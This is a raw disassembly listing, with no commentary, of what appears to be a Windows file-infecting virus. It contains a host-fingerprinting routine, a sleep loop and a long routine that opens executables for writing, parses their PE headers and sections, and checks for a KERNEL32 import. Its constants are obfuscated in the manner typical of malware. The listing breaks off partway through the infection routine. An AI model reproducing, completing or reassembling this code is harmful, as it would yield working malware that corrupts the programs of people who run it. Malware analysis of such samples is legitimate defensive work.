; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C28D	proc near		; CODE XREF: sub_41B7B4+3Cp
					; sub_41B7B4+BCp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		movzx	ebx, byte ptr [eax]
		movsx	eax, word ptr ds:10012154h
		add	eax, 0F8h
		imul	ebx, eax
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+1]
		add	ebx, eax
		mov	eax, ds:1001213Ch
		add	eax, 0FAh
		add	eax, ds:100121CCh
		imul	ebx, eax
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+2]
		add	ebx, eax
		mov	eax, ds:10012098h
		mov	esi, eax
		add	esi, ds:100121A4h
		sub	esi, 7
		jmp	short loc_41C330
; ---------------------------------------------------------------------------


loc_41C2E0:				; CODE XREF: sub_41C28D+B6j
		mov	edi, ds:100121A0h
		add	edi, ds:100120D4h
		sub	edi, 4
		sub	edi, esi
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], edx
		mov	edx, ebx
		and	edx, 8000003Fh
		jge	short loc_41C306
		dec	edx
		or	edx, 0FFFFFFC0h
		inc	edx


loc_41C306:				; CODE XREF: sub_41C28D+72j
		mov	ecx, ds:100121FCh
		mov	dl, [ecx+edx]
		mov	ecx, [ebp+var_4]
		mov	[ecx+edi], dl
		mov	eax, ebx
		mov	edi, ds:10012104h
		add	edi, 36h
		mov	ecx, edi
		add	ecx, ds:1001210Ch
		cdq
		idiv	ecx
		mov	ebx, eax
		add	esi, 1


loc_41C330:				; CODE XREF: sub_41C28D+51j
		mov	eax, ds:10012118h
		movsx	edx, word ptr ds:100120D8h
		add	eax, edx
		sub	eax, 2
		cmp	esi, eax
		jl	short loc_41C2E0
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C28D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C34A	proc near		; CODE XREF: sub_41DCB0+B7p
					; sub_41DCB0+109p

var_7		= byte ptr -7
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	byte ptr [ebx],	0
		mov	ecx, esi
		or	eax, 0FFFFFFFFh


loc_41C360:				; CODE XREF: sub_41C34A+1Bj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41C360
		mov	[ebp+var_4], eax
		movsx	eax, word ptr ds:100121BCh
		mov	edi, eax
		add	edi, ds:10012144h
		sub	edi, 0Bh
		jmp	short loc_41C3E8
; ---------------------------------------------------------------------------


loc_41C37E:				; CODE XREF: sub_41C34A+A1j
		movzx	eax, [ebp+arg_8]
		cmp	edi, eax
		jb	short loc_41C391
		mov	al, [esi+edi]
		cmp	al, 2Fh
		jz	short loc_41C391
		cmp	al, 2Eh
		jnz	short loc_41C3AA


loc_41C391:				; CODE XREF: sub_41C34A+3Aj
					; sub_41C34A+41j
		movzx	eax, byte ptr [esi+edi]
		push	eax
		push	100135F1h
		lea	eax, [ebp+var_7]
		push	eax
		call	dword ptr ds:10011634h
		add	esp, 0Ch
		jmp	short loc_41C3D9
; ---------------------------------------------------------------------------


loc_41C3AA:				; CODE XREF: sub_41C34A+45j
		push	100135ECh
		call	sub_4228CE
		push	eax
		push	ebx
		call	dword ptr ds:1000C020h
		push	100135E4h
		call	sub_4228CE
		movzx	edx, byte ptr [esi+edi]
		push	edx
		push	eax
		lea	edx, [ebp+var_7]
		push	edx
		call	dword ptr ds:10011634h
		add	esp, 1Ch


loc_41C3D9:				; CODE XREF: sub_41C34A+5Ej
		lea	eax, [ebp+var_7]
		push	eax
		push	ebx
		call	dword ptr ds:1000C020h
		add	esp, 8
		inc	edi


loc_41C3E8:				; CODE XREF: sub_41C34A+32j
		cmp	edi, [ebp+var_4]
		jb	short loc_41C37E
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C34A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C3F2	proc near		; CODE XREF: sub_41B1B9+24p
					; sub_41B58F+25p ...

var_10D		= byte ptr -10Dh
var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	edi
		mov	edi, [ebp+arg_0]
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		call	dword ptr ds:1000E5FCh
		movsx	eax, word ptr ds:100120D8h
		add	eax, ds:10012178h
		movsx	edx, word ptr ds:10012170h
		sub	edx, 8
		mov	[ebp+eax+var_10D], dl
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		call	dword ptr ds:10011614h
		push	100135DCh
		call	sub_4228CE
		push	[ebp+var_10C]
		push	eax
		push	edi
		call	dword ptr ds:10011634h
		add	esp, 10h
		movsx	eax, word ptr ds:100120B0h
		sub	eax, 8
		mov	[ebp+var_4], eax
		jmp	short loc_41C4BC
; ---------------------------------------------------------------------------


loc_41C48D:				; CODE XREF: sub_41C3F2+D8j
		mov	eax, [ebp+var_4]
		mov	al, [edi+eax]
		cmp	al, 30h
		jl	short loc_41C4A3
		cmp	al, 39h
		jg	short loc_41C4A3
		mov	eax, [ebp+var_4]
		add	eax, edi
		add	byte ptr [eax],	31h


loc_41C4A3:				; CODE XREF: sub_41C3F2+A3j
					; sub_41C3F2+A7j
		mov	eax, [ebp+var_4]
		mov	al, [edi+eax]
		cmp	al, 41h
		jl	short loc_41C4B9
		cmp	al, 5Ah
		jg	short loc_41C4B9
		mov	eax, [ebp+var_4]
		add	eax, edi
		add	byte ptr [eax],	20h


loc_41C4B9:				; CODE XREF: sub_41C3F2+B9j
					; sub_41C3F2+BDj
		inc	[ebp+var_4]


loc_41C4BC:				; CODE XREF: sub_41C3F2+99j
		mov	eax, ds:100120B8h
		add	eax, ds:100120A0h
		cmp	[ebp+var_4], eax
		jb	short loc_41C48D
		pop	edi
		leave
		retn
sub_41C3F2	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+10h]
		push	1001396Ch
		push	esi
		call	dword ptr ds:10011644h
		or	eax, eax
		jz	short loc_41C4FB
		mov	eax, [ebp+8]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_41C543
; ---------------------------------------------------------------------------


loc_41C4FB:				; CODE XREF: .data:0041C4E9j
		push	100138ECh
		push	esi
		call	dword ptr ds:10011644h
		or	eax, eax
		jz	short loc_41C51B
		mov	eax, [ebp+8]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_41C543
; ---------------------------------------------------------------------------


loc_41C51B:				; CODE XREF: .data:0041C509j
		push	100138BCh
		push	esi
		call	dword ptr ds:10011644h
		or	eax, eax
		jz	short loc_41C53B
		mov	eax, [ebp+8]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_41C543
; ---------------------------------------------------------------------------


loc_41C53B:				; CODE XREF: .data:0041C529j
		and	dword ptr [edi], 0
		mov	eax, 80004002h


loc_41C543:				; CODE XREF: .data:0041C4F9j
					; .data:0041C519j ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	1000E604h
		call	dword ptr ds:1000EA3Ch
		mov	eax, ds:1000E604h
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C561	proc near		; CODE XREF: sub_423996+147p

var_FFF		= byte ptr -0FFFh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_424F4D
		push	ebx
		push	esi
		push	edi
		mov	eax, ds:10012184h
		sub	eax, 6
		push	eax
		lea	eax, [ebp+var_FFF]
		push	eax
		call	sub_4223D9
		add	esp, 8
		mov	eax, ds:100120A4h
		mov	edi, eax
		add	edi, ds:100120E4h
		sub	edi, 4
		jmp	short loc_41C5BD
; ---------------------------------------------------------------------------


loc_41C59B:				; CODE XREF: sub_41C561+62j
		cmp	[ebp+edi+var_FFF], 23h
		jnz	short loc_41C5BC
		movsx	eax, word ptr ds:10012090h
		add	eax, ds:100121A0h
		sub	eax, 7
		mov	[ebp+edi+var_FFF], al


loc_41C5BC:				; CODE XREF: sub_41C561+42j
		inc	edi


loc_41C5BD:				; CODE XREF: sub_41C561+38j
		cmp	edi, 0FFFh
		jb	short loc_41C59B
		lea	esi, [ebp+var_FFF]


loc_41C5CB:				; CODE XREF: sub_41C561+F7j
		push	100135D8h
		call	sub_4228CE
		push	1000D020h
		mov	ebx, ds:100120F0h
		add	ebx, ds:100120C0h
		sub	ebx, 5
		push	ebx
		mov	ebx, ds:10012190h
		sub	ebx, 3
		push	ebx
		push	eax
		movsx	ebx, word ptr ds:100120DCh
		add	ebx, ds:100121C8h
		sub	ebx, 8
		push	ebx
		push	0
		push	esi
		push	[ebp+arg_0]
		mov	ebx, ds:100120B8h
		sub	ebx, 2
		and	ebx, 0FFh
		push	ebx
		call	sub_41DCB0
		add	esp, 28h
		mov	ecx, esi
		or	eax, 0FFFFFFFFh


loc_41C629:				; CODE XREF: sub_41C561+CDj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41C629
		mov	edx, ds:10012158h
		movsx	ecx, word ptr ds:100121BCh
		add	edx, ecx
		sub	edx, 5
		mov	ebx, eax
		add	ebx, esi
		mov	esi, edx
		add	esi, ebx
		movsx	eax, byte ptr [esi]
		mov	edx, ds:100121ACh
		sub	edx, 4
		cmp	eax, edx
		jnz	loc_41C5CB
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C561	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp


loc_41C666:				; CODE XREF: .data:0041C688j
		call	sub_41F16E
		mov	eax, ds:10012190h
		dec	eax
		mov	edx, ds:1001210Ch
		add	edx, 0EA59h
		imul	eax, edx
		push	eax
		call	dword ptr ds:10011630h
		pop	ecx
		jmp	short loc_41C666
; ---------------------------------------------------------------------------
		dw 0C25Dh
		db 4, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C68E	proc near		; CODE XREF: sub_4232A3+289p

var_54		= byte ptr -54h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 54h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		add	eax, 40h
		jge	short loc_41C6A5
		add	eax, 3Fh


loc_41C6A5:				; CODE XREF: sub_41C68E+12j
		sar	eax, 6
		mov	edi, eax
		shl	edi, 6
		push	edi
		call	sub_421484
		pop	ecx
		mov	[ebp+var_14], eax
		mov	edi, [ebp+arg_4]
		mov	edx, ds:100120C4h
		add	edx, 3Ch
		mov	eax, edi
		add	eax, edx
		jge	short loc_41C6CC
		add	eax, 3Fh


loc_41C6CC:				; CODE XREF: sub_41C68E+39j
		sar	eax, 6
		mov	edi, ds:100121C8h
		add	edi, 3Eh
		mov	edx, eax
		imul	edx, edi
		push	edx
		push	[ebp+var_14]
		call	dword ptr ds:1000C02Ch
		push	[ebp+arg_4]
		push	esi
		push	[ebp+var_14]
		call	dword ptr ds:10010634h
		add	esp, 0Ch
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_424643
		mov	esi, [ebp+var_14]
		mov	eax, ds:10012188h
		movsx	edx, word ptr ds:10012194h
		mov	ebx, eax
		add	ebx, edx
		jmp	short loc_41C734
; ---------------------------------------------------------------------------


loc_41C715:				; CODE XREF: sub_41C68E+C0j
		push	esi
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_42466A
		mov	eax, ds:100120A8h
		add	eax, 37h
		movsx	edx, word ptr ds:10012180h
		add	eax, edx
		lea	esi, [esi+eax]
		inc	ebx


loc_41C734:				; CODE XREF: sub_41C68E+85j
		mov	edi, [ebp+arg_4]
		movsx	edx, word ptr ds:100120BCh
		lea	eax, [edi+edx+37h]
		test	eax, eax
		jge	short loc_41C749
		add	eax, 3Fh


loc_41C749:				; CODE XREF: sub_41C68E+B6j
		sar	eax, 6
		cmp	ebx, eax
		jl	short loc_41C715
		push	[ebp+var_14]
		call	sub_423972
		lea	eax, [ebp+var_54]
		push	eax
		push	[ebp+arg_8]
		call	sub_41B3A8
		mov	eax, ds:100120E4h
		add	eax, 0Eh
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		call	dword ptr ds:10011648h
		add	esp, 18h
		mov	edi, ds:10012140h
		sub	edi, 8
		cmp	eax, edi
		jz	short loc_41C790
		xor	eax, eax
		inc	eax
		jmp	short loc_41C792
; ---------------------------------------------------------------------------


loc_41C790:				; CODE XREF: sub_41C68E+FBj
		xor	eax, eax


loc_41C792:				; CODE XREF: sub_41C68E+100j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C68E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C797	proc near		; CODE XREF: sub_422E53+1B1p

var_3200C	= dword	ptr -3200Ch
var_32008	= dword	ptr -32008h
var_32004	= byte ptr -32004h
var_32003	= byte ptr -32003h
var_31FFD	= byte ptr -31FFDh
var_31F54	= dword	ptr -31F54h
var_31F50	= dword	ptr -31F50h
var_31F4C	= dword	ptr -31F4Ch
var_31F48	= dword	ptr -31F48h
var_31F44	= dword	ptr -31F44h
var_31F40	= dword	ptr -31F40h
var_31F3C	= dword	ptr -31F3Ch
var_31F38	= dword	ptr -31F38h
var_31F34	= dword	ptr -31F34h
var_31F30	= dword	ptr -31F30h
var_31F2C	= dword	ptr -31F2Ch
var_31F28	= dword	ptr -31F28h
var_31F24	= dword	ptr -31F24h
var_31F20	= dword	ptr -31F20h
var_31F1C	= dword	ptr -31F1Ch
var_31F18	= dword	ptr -31F18h
var_31F14	= dword	ptr -31F14h
var_31F10	= dword	ptr -31F10h
var_31F0C	= dword	ptr -31F0Ch
var_31F08	= dword	ptr -31F08h
var_31F04	= dword	ptr -31F04h
var_31F00	= dword	ptr -31F00h
var_31EFC	= dword	ptr -31EFCh
var_31EF8	= dword	ptr -31EF8h
var_31EF4	= dword	ptr -31EF4h
var_31EF0	= dword	ptr -31EF0h
var_31EEC	= dword	ptr -31EECh
var_31EE8	= dword	ptr -31EE8h
var_31EE4	= dword	ptr -31EE4h
var_31EE0	= dword	ptr -31EE0h
var_31EDC	= dword	ptr -31EDCh
var_31ED8	= dword	ptr -31ED8h
var_31ED4	= dword	ptr -31ED4h
var_31ED0	= byte ptr -31ED0h
var_31EC3	= byte ptr -31EC3h
var_1190	= dword	ptr -1190h
var_118C	= dword	ptr -118Ch
var_1188	= dword	ptr -1188h
var_1184	= dword	ptr -1184h
var_1180	= dword	ptr -1180h
var_117C	= dword	ptr -117Ch
var_1178	= dword	ptr -1178h
var_1174	= dword	ptr -1174h
var_116F	= byte ptr -116Fh
var_1070	= dword	ptr -1070h
var_106C	= dword	ptr -106Ch
var_1068	= dword	ptr -1068h
var_1064	= dword	ptr -1064h
var_1060	= dword	ptr -1060h
var_105C	= dword	ptr -105Ch
var_1058	= dword	ptr -1058h
var_1054	= dword	ptr -1054h
var_1050	= dword	ptr -1050h
var_C54		= dword	ptr -0C54h
var_C50		= dword	ptr -0C50h
var_C4C		= dword	ptr -0C4Ch
var_850		= dword	ptr -850h
var_84C		= dword	ptr -84Ch
var_848		= dword	ptr -848h
var_844		= dword	ptr -844h
var_840		= dword	ptr -840h
var_83C		= dword	ptr -83Ch
var_440		= dword	ptr -440h
var_43C		= dword	ptr -43Ch
var_438		= dword	ptr -438h
var_434		= dword	ptr -434h
var_430		= dword	ptr -430h
var_42C		= dword	ptr -42Ch
var_428		= dword	ptr -428h
var_424		= dword	ptr -424h
var_420		= dword	ptr -420h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 3200Ch
		call	sub_424F4D
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_31EC3]
		push	eax
		call	dword ptr ds:10010634h
		add	esp, 0Ch
		push	0
		push	dword ptr ds:10012164h
		push	3
		push	0
		mov	eax, ds:100120A0h
		sub	eax, 4
		push	eax
		push	0C0000001h
		push	[ebp+arg_0]
		call	dword ptr ds:10011788h
		mov	[ebp+var_1070],	eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41C7F2
		xor	eax, eax
		jmp	loc_41DB4C
; ---------------------------------------------------------------------------


loc_41C7F2:				; CODE XREF: sub_41C797+52j
		push	0
		push	[ebp+var_1070]
		call	dword ptr ds:10011624h
		mov	[ebp+var_10], eax
		mov	edx, [ebp+arg_8]
		lea	eax, [eax+edx+1FFFFh]
		push	eax
		push	0
		call	dword ptr ds:1000EA34h
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_31ED8]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_1070]
		call	dword ptr ds:1000C028h
		mov	eax, [ebp+var_4]
		mov	eax, [eax+3Ch]
		mov	[ebp+var_840], eax
		mov	eax, [ebp+var_31ED8]
		sub	eax, 0F8h
		cmp	[ebp+var_840], eax
		ja	loc_41DB35
		mov	eax, [ebp+var_840]
		add	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		movzx	eax, word ptr [eax]
		cmp	eax, 4550h
		jnz	loc_41DB35
		mov	eax, [ebp+var_8]
		movzx	eax, word ptr [eax+5Ch]
		mov	edx, ds:100120E4h
		movsx	ecx, word ptr ds:10012180h
		add	edx, ecx
		sub	edx, 7
		cmp	eax, edx
		jz	loc_41DB35
		mov	eax, [ebp+var_8]
		movzx	edx, word ptr [eax+44h]
		movsx	ecx, word ptr ds:100120DCh
		add	ecx, 7
		cmp	edx, ecx
		jnz	short loc_41C8BC
		mov	edx, ds:10012158h
		add	edx, 8
		mov	[eax+1Ah], dl
		cmp	dl, 0
		jnz	loc_41DB35


loc_41C8BC:				; CODE XREF: sub_41C797+10Ej
		mov	eax, [ebp+var_8]
		mov	eax, [eax+80h]
		mov	[ebp+var_430], eax
		mov	eax, 28h
		mov	[ebp+var_31EE8], eax
		mov	edx, [ebp+var_8]
		mov	[ebp+var_31EF0], edx
		mov	ecx, [ebp+var_840]
		add	ecx, 0F8h
		mov	[ebp+var_31EEC], eax
		movzx	edi, word ptr [edx+6]
		mul	edi
		mov	[ebp+var_31EF4], eax
		mov	edx, ecx
		add	edx, eax
		mov	[ebp+var_31EFC], edx
		mov	eax, [ebp+var_31EE8]
		mov	[ebp+var_31EF8], eax
		mov	ecx, ds:100120ACh
		inc	ecx
		add	ecx, ds:10012108h
		mul	ecx
		mov	[ebp+var_31F00], eax
		mov	eax, [ebp+var_31EFC]
		mov	edx, [ebp+var_31F00]
		add	eax, edx
		mov	edx, [ebp+var_31EF0]
		add	eax, [edx+0D4h]
		cmp	eax, [edx+54h]
		ja	loc_41DB35
		mov	eax, ds:100121C4h
		sub	eax, 5
		mov	[ebp+var_20], eax
		movsx	eax, word ptr ds:10012170h
		add	eax, ds:10012144h
		sub	eax, 0Dh
		mov	[ebp+var_C54], eax
		movsx	eax, word ptr ds:100120E0h
		add	eax, ds:100121B4h
		dec	eax
		mov	[ebp+var_105C],	eax
		movsx	eax, word ptr ds:10012170h
		sub	eax, 8
		mov	[ebp+var_434], eax
		jmp	loc_41CA57
; ---------------------------------------------------------------------------


loc_41C995:				; CODE XREF: sub_41C797+2CDj
		mov	eax, 28h
		mul	[ebp+var_434]
		mov	[ebp+var_31F0C], eax
		mov	eax, [ebp+var_840]
		mov	edx, [ebp+var_4]
		lea	eax, [eax+edx+0F8h]
		mov	edx, [ebp+var_31F0C]
		mov	esi, edx
		add	esi, eax
		mov	eax, [esi+0Ch]
		add	eax, [esi+8]
		mov	[ebp+var_31F04], eax
		mov	eax, [esi+14h]
		add	eax, [esi+10h]
		mov	[ebp+var_31F08], eax
		mov	eax, [ebp+var_20]
		cmp	[ebp+var_31F04], eax
		jbe	short loc_41C9EC
		mov	eax, [ebp+var_31F04]
		mov	[ebp+var_20], eax


loc_41C9EC:				; CODE XREF: sub_41C797+24Aj
		mov	eax, [ebp+var_C54]
		cmp	[ebp+var_31F08], eax
		jbe	short loc_41CA06
		mov	eax, [ebp+var_31F08]
		mov	[ebp+var_C54], eax


loc_41CA06:				; CODE XREF: sub_41C797+261j
		mov	eax, [ebp+var_8]
		mov	eax, [eax+0A8h]
		cmp	eax, [esi+0Ch]
		jb	short loc_41CA31
		cmp	eax, [ebp+var_31F04]
		jnb	short loc_41CA31
		mov	eax, [esi+14h]
		mov	edx, [ebp+var_8]
		add	eax, [edx+0A8h]
		sub	eax, [esi+0Ch]
		mov	[ebp+var_105C],	eax


loc_41CA31:				; CODE XREF: sub_41C797+27Bj
					; sub_41C797+283j
		mov	eax, [ebp+var_430]
		mov	edx, [esi+0Ch]
		cmp	eax, edx
		jb	short loc_41CA51
		add	edx, [esi+8]
		cmp	eax, edx
		jnb	short loc_41CA51
		sub	eax, [esi+0Ch]
		add	eax, [esi+14h]
		mov	[ebp+var_848], eax


loc_41CA51:				; CODE XREF: sub_41C797+2A5j
					; sub_41C797+2ACj
		inc	[ebp+var_434]


loc_41CA57:				; CODE XREF: sub_41C797+1F9j
		mov	eax, [ebp+var_8]
		movzx	eax, word ptr [eax+6]
		cmp	[ebp+var_434], eax
		jb	loc_41C995
		mov	eax, ds:100120A8h
		add	eax, 0FFDh
		push	eax
		push	[ebp+var_20]
		call	sub_41E1DA
		add	esp, 8
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_C54]
		cmp	[ebp+var_10], eax
		jz	short loc_41CAA6
		mov	eax, [ebp+var_8]
		mov	edx, ds:100121C0h
		sub	edx, 3
		cmp	[eax+0A8h], edx
		jz	loc_41DB35


loc_41CAA6:				; CODE XREF: sub_41C797+2F5j
		mov	eax, ds:100120B4h
		add	eax, ds:100120A0h
		sub	eax, 0Ch
		cmp	[ebp+var_105C],	eax
		jz	loc_41CB85
		mov	eax, ds:100121A0h
		sub	eax, 6
		mov	[ebp+var_31F0C], eax
		mov	eax, ds:10012134h
		sub	eax, 3
		mov	[ebp+var_31F04], eax
		jmp	short loc_41CB2C
; ---------------------------------------------------------------------------


loc_41CADE:				; CODE XREF: sub_41C797+3BBj
		mov	eax, [ebp+var_105C]
		mov	[ebp+var_31F10], eax
		mov	eax, 1Ch
		mul	[ebp+var_31F04]
		mov	[ebp+var_31F14], eax
		mov	eax, [ebp+var_31F10]
		mov	edx, [ebp+var_31F14]
		add	eax, edx
		add	eax, [ebp+var_4]
		mov	[ebp+var_31F08], eax
		mov	edx, [ebp+var_31F0C]
		cmp	[eax+18h], edx
		jbe	short loc_41CB26
		mov	eax, [eax+18h]
		mov	[ebp+var_31F0C], eax


loc_41CB26:				; CODE XREF: sub_41C797+384j
		inc	[ebp+var_31F04]


loc_41CB2C:				; CODE XREF: sub_41C797+345j
		mov	edi, [ebp+var_8]
		mov	eax, [edi+0ACh]
		mov	ecx, 1Ch
		shr	eax, 2
		mov	edx, 24924925h
		mul	edx
		mov	[ebp+var_31F10], edx
		mov	edi, edx
		cmp	[ebp+var_31F04], edi
		jb	short loc_41CADE
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+3Ch]
		push	[ebp+var_31F0C]
		call	sub_41E1DA
		add	esp, 8
		mov	[ebp+var_31F0C], eax
		mov	eax, [ebp+var_C54]
		cmp	eax, [ebp+var_10]
		jz	short loc_41CB85
		cmp	[ebp+var_31F0C], eax
		jnz	loc_41DB35


loc_41CB85:				; CODE XREF: sub_41C797+323j
					; sub_41C797+3E0j
		and	[ebp+var_1174],	0
		mov	eax, ds:100121CCh
		movsx	edx, word ptr ds:100120DCh
		add	eax, edx
		sub	eax, 0Ah
		mov	[ebp+var_438], eax
		jmp	loc_41CCE2
; ---------------------------------------------------------------------------


loc_41CBA8:				; CODE XREF: sub_41C797+55Aj
		mov	eax, [ebp+var_848]
		add	eax, [ebp+var_438]
		add	eax, [ebp+var_4]
		mov	[ebp+var_32008], eax
		mov	edx, ds:100120D4h
		dec	edx
		cmp	[eax], edx
		jz	loc_41CCF7
		mov	eax, [ebp+var_32008]
		mov	eax, [eax+0Ch]
		sub	eax, [ebp+var_430]
		add	eax, [ebp+var_848]
		mov	[ebp+var_3200C], eax
		add	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_32003]
		push	eax
		call	dword ptr ds:1000E1F4h
		add	esp, 8
		movsx	eax, word ptr ds:10012100h
		movsx	edx, word ptr ds:10012128h
		add	eax, edx
		sub	eax, 9
		mov	[ebp+var_31F04], eax
		jmp	short loc_41CC41
; ---------------------------------------------------------------------------


loc_41CC16:				; CODE XREF: sub_41C797+4C9j
		mov	eax, [ebp+var_31F04]
		mov	al, [ebp+eax+var_32003]
		cmp	al, 61h
		jle	short loc_41CC3B
		cmp	al, 7Ah
		jge	short loc_41CC3B
		mov	eax, [ebp+var_31F04]
		lea	eax, [ebp+eax+var_32003]
		sub	byte ptr [eax],	20h


loc_41CC3B:				; CODE XREF: sub_41C797+48Ej
					; sub_41C797+492j
		inc	[ebp+var_31F04]


loc_41CC41:				; CODE XREF: sub_41C797+47Dj
		mov	eax, [ebp+var_31F04]
		movsx	eax, [ebp+eax+var_32003]
		mov	edx, ds:1001213Ch
		add	edx, ds:10012098h
		sub	edx, 9
		cmp	eax, edx
		jnz	short loc_41CC16
		mov	eax, ds:100121B4h
		cmp	[ebp+eax+var_32004], 4Bh
		jnz	short loc_41CCDB
		movsx	eax, word ptr ds:100120DCh
		cmp	byte ptr [ebp+eax+var_32008], 45h
		jnz	short loc_41CCDB
		mov	eax, ds:100120ECh
		add	eax, ds:10012164h
		cmp	byte ptr [ebp+eax+var_32008+2],	52h
		jnz	short loc_41CCDB
		movsx	eax, word ptr ds:10012170h
		movsx	edx, word ptr ds:10012180h
		add	eax, edx
		cmp	byte ptr [ebp+eax+var_3200C], 4Ch
		jnz	short loc_41CCDB
		movsx	eax, word ptr ds:10012154h
		cmp	byte ptr [ebp+eax+var_32008+3],	33h
		jnz	short loc_41CCDB
		mov	eax, ds:10012118h
		cmp	[ebp+eax+var_31FFD], 32h
		jnz	short loc_41CCDB
		mov	[ebp+var_1174],	1


loc_41CCDB:				; CODE XREF: sub_41C797+4D8j
					; sub_41C797+4E9j ...
		add	[ebp+var_438], 14h


loc_41CCE2:				; CODE XREF: sub_41C797+40Cj
		mov	eax, [ebp+var_8]
		mov	eax, [eax+84h]
		cmp	[ebp+var_438], eax
		jb	loc_41CBA8


loc_41CCF7:				; CODE XREF: sub_41C797+42Fj
		cmp	[ebp+var_1174],	0
		jz	loc_41DB35
		lea	eax, [ebp+var_31EC3]
		mov	[ebp+var_42C], eax
		mov	ecx, [eax+3Ch]
		mov	[ebp+var_84C], ecx
		add	ecx, eax
		mov	[ebp+var_844], ecx
		mov	eax, [ebp+var_8]
		mov	[ebp+var_31F04], eax
		movsx	edx, word ptr ds:100121BCh
		sub	edx, 6
		cmp	[eax+0D0h], edx
		jz	loc_41CEB1
		mov	edx, [eax+0D4h]
		mov	[ebp+var_31F08], edx
		movsx	ecx, word ptr ds:100120D0h
		cmp	edx, ecx
		jz	loc_41CEB1
		mov	ecx, 28h
		mov	edi, [ebp+var_840]
		add	edi, 0F8h
		mov	eax, ecx
		mov	edx, [ebp+var_31F04]
		movzx	edx, word ptr [edx+6]
		mov	[ebp+var_31F0C], edx
		mul	edx
		mov	[ebp+var_31F10], eax
		mov	edx, edi
		add	edx, eax
		mov	[ebp+var_31F18], edx
		mov	eax, ecx
		mov	[ebp+var_31F14], eax
		mov	ecx, ds:10012108h
		add	ecx, 4
		mul	ecx
		mov	[ebp+var_31F1C], eax
		mov	eax, [ebp+var_31F18]
		mov	edx, [ebp+var_31F1C]
		add	eax, edx
		mov	edx, [ebp+var_31F08]
		add	eax, edx
		mov	edx, [ebp+var_31F04]
		cmp	[edx+54h], eax
		jbe	loc_41CEB1
		mov	eax, [ebp+var_840]
		add	eax, 0F8h
		mov	[ebp+var_31F28], eax
		mov	eax, 28h
		mov	ecx, [ebp+var_8]
		movzx	ecx, word ptr [ecx+6]
		mul	ecx
		mov	[ebp+var_31F2C], eax
		mov	eax, [ebp+var_31F28]
		mov	edx, [ebp+var_31F2C]
		add	eax, edx
		mov	[ebp+var_31F20], eax
